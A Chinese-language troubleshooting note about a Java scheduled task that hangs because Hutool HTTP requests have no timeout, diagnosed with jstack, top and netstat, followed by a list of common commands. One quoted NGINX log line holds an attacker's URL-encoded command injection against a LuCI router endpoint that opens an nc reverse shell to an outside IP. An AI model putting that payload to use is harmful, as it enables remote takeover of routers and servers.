问题排查
定时任务一直没有完成,使用 jps
和 jstack -l [PID]
查看线程状态,使用 jstack.review 分析转储文件。发现线程池的线程阻塞在本地方法中,然后查看 Hutool 的文档,发现默认配置下 HTTP 请求是不会超时的,设置超时时间应该可以解决这个问题。(参考 How to Analyze Java Thread Dumps)
1 2 3
| "pool-41-thread-2" #226773 prio=5 os_prio=0 cpu=6566.92ms elapsed=506952.44s tid=0x00007f66ec022640 nid=0x6188f runnable [0x00007f66f98ea000] java.lang.Thread.State: RUNNABLE at sun.nio.ch.SocketDispatcher.read0(java.base@17.0.12/Native Method)
|
另外,使用 top -H -p [PID]
命令,可以查看指定进程的线程状态,发现都是 S 状态。使用 netstat -antp
可以查看 TCP 连接状态。顺便看下 NGINX 日志,发现有不少奇怪的请求,应该是攻击请求,不过没什么影响。
1 2
| 196.251.69.180 - - [15/Mar/2025:10:00:32 +0800] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+196.251.69.180+61781+%3E%2Ftmp%2Ff% 29 HTTP/1.1" 200 760 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" "-"
|
常用命令
1 2 3 4 5 6 7 8
| uname -m, whoami, pwd, jobs, ctrl-z + [bg | fg] wget, scp, tar -xvf [file], curl -X POST [url] systemctl [start | stop | restart | status] xxx nohup java -jar xxx.jar > /dev/null 2>&1 & ps -aux | grep xxx, kill [pid] top -H -p [pid], netstat -antp jps, jstack -l [pid], jmap -dump:format=b,file=heap.hprof [pid] jmeter -n -t "xxx.jmx", jmeter -g result.jtl -o result
|